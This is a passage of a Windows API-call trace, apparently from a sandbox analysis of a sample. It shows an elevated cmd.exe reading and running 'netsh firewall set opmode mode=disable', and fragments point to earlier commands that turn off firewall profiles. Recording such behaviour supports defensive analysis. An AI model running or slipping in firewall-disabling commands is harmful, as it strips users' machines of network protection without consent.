lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c66, cchWideChar=1 | out: lpWideCharStr="otprofile state off\n") returned 1 [0135.103] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.103] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.103] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c68, cchWideChar=1 | out: lpWideCharStr="dprofile state off\n") returned 1 [0135.103] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.103] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.103] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6a, cchWideChar=1 | out: lpWideCharStr="erofile state off\n") returned 1 [0135.103] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.103] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.103] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6c, cchWideChar=1 | out: lpWideCharStr="=ofile state off\n") returned 1 [0135.103] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.103] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.103] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6e, cchWideChar=1 | out: lpWideCharStr="dfile state off\n") returned 1 [0135.103] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.103] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.103] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c70, cchWideChar=1 | out: lpWideCharStr="iile state off\n") returned 1 [0135.103] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.104] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.104] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.104] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c72, cchWideChar=1 | out: lpWideCharStr="sle state off\n") returned 1 [0135.104] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.104] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.104] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.104] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c74, cchWideChar=1 | out: lpWideCharStr="ae state off\n") returned 1 [0135.106] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.106] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.106] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.112] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c76, cchWideChar=1 | out: lpWideCharStr="b state off\n") returned 1 [0135.112] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.112] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.112] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.112] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c78, cchWideChar=1 | out: lpWideCharStr="lstate off\n") returned 1 [0135.112] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.112] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.112] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.112] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c7a, cchWideChar=1 | out: lpWideCharStr="etate off\n") returned 1 [0135.112] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.112] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.112] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.112] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c7c, cchWideChar=1 | out: lpWideCharStr="\nate off\n") returned 1 [0135.112] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.112] GetFileType (hFile=0x264) returned 0x3 [0135.113] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.113] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.113] _get_osfhandle (_FileHandle=1) returned 0x274 [0135.113] GetFileType (hFile=0x274) returned 0x3 [0135.114] _get_osfhandle (_FileHandle=1) returned 0x274 [0135.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh firewall set opmode mode=disable\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh firewall set opmode mode=disable\n", lpUsedDefaultChar=0x0) returned 40 [0135.114] WriteFile (in: hFile=0x274, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xa08f0f5a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0xa08f0f5a8*=0x27, lpOverlapped=0x0) returned 1 [0135.127] GetProcessHeap () returned 0x1515c080000 [0135.127] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x4012) returned 0x1515c088bb0 [0135.127] GetProcessHeap () returned 0x1515c080000 [0135.127] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c088bb0) returned 1 [0135.132] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0135.132] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0135.132] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0135.267] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0135.267] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0135.267] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0135.267] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0135.267] GetProcessHeap () returned 0x1515c080000 [0135.267] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xb0) returned 0x1515c086e30 [0135.267] GetProcessHeap () returned 0x1515c080000 [0135.267] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x1c) returned 0x1515c086c60 [0135.268] GetProcessHeap () returned 0x1515c080000 [0135.268] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x54) returned 0x1515c0991f0 [0135.268] GetConsoleOutputCP () returned 0x1b5 [0135.274] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0135.274] SetThreadUILanguage (LangId=0x0) returned 0x409 [0135.288] GetConsoleTitleW (in: lpConsoleTitle=0xa08f0f3f0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0135.289] malloc (_Size=0xffce) returned 0x1515c1a0840 [0135.289] ??_V@YAXPEAX@Z () returned 0x1515c1a0840 [0135.289] malloc (_Size=0xffce) returned 0x1515c1b0820 [0135.289] ??_V@YAXPEAX@Z () returned 0x1515c1b0820 [0135.289] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0135.289] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0135.289] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0135.289] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0135.289] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0135.289] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0135.289] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0135.289] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0135.289] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0135.289] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0135.289] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0135.290] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0135.290] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0135.290] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0135.290] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0135.290] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0135.290] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0135.290] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0135.290] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0135.290] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0135.290] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0135.290] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0135.290] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0135.290] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0135.290] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0135.290] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0135.290] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0135.290] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0135.290] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0135.290] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0135.290] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0135.290] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0135.290] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0135.290] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0135.290] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0135.290] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0135.290] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0135.290] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0135.290] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0135.290] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0135.290] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0135.290] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0135.290] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0135.290] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0135.290] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0135.290] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0135.290] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0135.290] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0135.290] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0135.290] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0135.290] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0135.290] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0135.290] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0135.290] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0135.290] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0135.290] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0135.291] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0135.291] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0135.291] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0135.291] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0135.291] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0135.291] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0135.291] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0135.291] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0135.291] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0135.291] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0135.291] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0135.291] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0135.291] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0135.291] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0135.291] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0135.291] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0135.291] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0135.291] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0135.291] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0135.291] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0135.291] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0135.291] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0135.291] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0135.291] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0135.291] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0135.291] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0135.291] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0135.291] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0135.291] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0135.291] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0135.291] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0135.291] ??_V@YAXPEAX@Z () returned 0x1 [0135.291] GetProcessHeap () returned 0x1515c080000 [0135.291] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xffde) returned 0x1515c088bb0 [0135.292] GetProcessHeap () returned 0x1515c080000 [0135.292] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x60) returned 0x1515c098ba0 [0135.292] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0135.292] malloc (_Size=0xffce) returned 0x1515c1b0820 [0135.292] ??_V@YAXPEAX@Z () returned 0x1515c1b0820 [0135.292] GetProcessHeap () returned 0x1515c080000 [0135.292] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x1ffac) returned 0x1515c09c0e0 [0135.294] SetErrorMode (uMode=0x0) returned 0x0 [0135.294] SetErrorMode (uMode=0x1) returned 0x0 [0135.294] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1515c09c0f0, lpFilePart=0xa08f0ec70 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xa08f0ec70*="system32") returned 0x13 [0135.294] SetErrorMode (uMode=0x0) returned 0x1 [0135.294] GetProcessHeap () returned 0x1515c080000 [0135.294] RtlReAllocateHeap (Heap=0x1515c080000, Flags=0x0, Ptr=0x1515c09c0e0, Size=0x44) returned 0x1515c09c0e0 [0135.294] GetProcessHeap () returned 0x1515c080000 [0135.294] RtlSizeHeap (HeapHandle=0x1515c080000, Flags=0x0, MemoryPointer=0x1515c09c0e0) returned 0x44 [0135.294] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0135.294] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0135.294] GetProcessHeap () returned 0x1515c080000 [0135.294] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x1b4) returned 0x1515c098c10 [0135.294] GetProcessHeap () returned 0x1515c080000 [0135.294] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x358) returned 0x1515c098dd0 [0135.294] GetProcessHeap () returned 0x1515c080000 [0135.294] RtlReAllocateHeap (Heap=0x1515c080000, Flags=0x0, Ptr=0x1515c098dd0, Size=0x1b6) returned 0x1515c098dd0 [0135.294] GetProcessHeap () returned 0x1515c080000 [0135.294] RtlSizeHeap (HeapHandle=0x1515c080000, Flags=0x0, MemoryPointer=0x1515c098dd0) returned 0x1b6 [0135.294] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0135.294] GetProcessHeap () returned 0x1515c080000 [0135.294] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xe8) returned 0x1515c098fa0 [0135.294] GetProcessHeap () returned 0x1515c080000 [0135.294] RtlReAllocateHeap (Heap=0x1515c080000, Flags=0x0, Ptr=0x1515c098fa0, Size=0x7e) returned 0x1515c098fa0 [0135.294] GetProcessHeap () returned 0x1515c080000 [0135.294] RtlSizeHeap (HeapHandle=0x1515c080000, Flags=0x0, MemoryPointer=0x1515c098fa0) returned 0x7e [0135.294] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0135.295] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0xa08f0e9e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa08f0e9e0) returned 0x1515c099030 [0135.295] FindClose (in: hFindFile=0x1515c099030 | out: hFindFile=0x1515c099030) returned 1 [0135.295] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0xa08f0e9e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa08f0e9e0) returned 0xffffffffffffffff [0135.295] GetLastError () returned 0x2 [0135.295] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0xa08f0e9e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa08f0e9e0) returned 0x1515c099030 [0135.295] FindClose (in: hFindFile=0x1515c099030 | out: hFindFile=0x1515c099030) returned 1 [0135.295] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0135.295] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0135.295] ??_V@YAXPEAX@Z () returned 0x1 [0135.295] GetConsoleTitleW (in: lpConsoleTitle=0xa08f0ef60, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0135.296] GetProcessHeap () returned 0x1515c080000 [0135.296] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x21c) returned 0x1515c099510 [0135.296] GetConsoleTitleW (in: lpConsoleTitle=0x1515c099520, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0135.297] GetProcessHeap () returned 0x1515c080000 [0135.297] RtlReAllocateHeap (Heap=0x1515c080000, Flags=0x0, Ptr=0x1515c099510, Size=0xc8) returned 0x1515c099510 [0135.297] GetProcessHeap () returned 0x1515c080000 [0135.297] RtlSizeHeap (HeapHandle=0x1515c080000, Flags=0x0, MemoryPointer=0x1515c099510) returned 0xc8 [0135.297] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - netsh firewall set opmode mode=disable") returned 1 [0135.349] GetProcessHeap () returned 0x1515c080000 [0135.349] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c099510) returned 1 [0135.349] InitializeProcThreadAttributeList (in: lpAttributeList=0xa08f0ee80, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xa08f0ed70 | out: lpAttributeList=0xa08f0ee80, lpSize=0xa08f0ed70) returned 1 [0135.349] UpdateProcThreadAttribute (in: lpAttributeList=0xa08f0ee80, dwFlags=0x0, Attribute=0x60001, lpValue=0xa08f0ed5c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xa08f0ee80, lpPreviousValue=0x0) returned 1 [0135.349] GetStartupInfoW (in: lpStartupInfo=0xa08f0ee10 | out: lpStartupInfo=0xa08f0ee10*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x264, hStdOutput=0x274, hStdError=0x274)) [0135.349] GetProcessHeap () returned 0x1515c080000 [0135.349] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x20) returned 0x1515c099330 [0135.349] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0135.349] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0135.349] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0135.349] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0135.349] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0135.349] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0135.349] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0135.349] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0135.349] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0135.349] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0135.349] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0135.349] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0135.350] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0135.350] 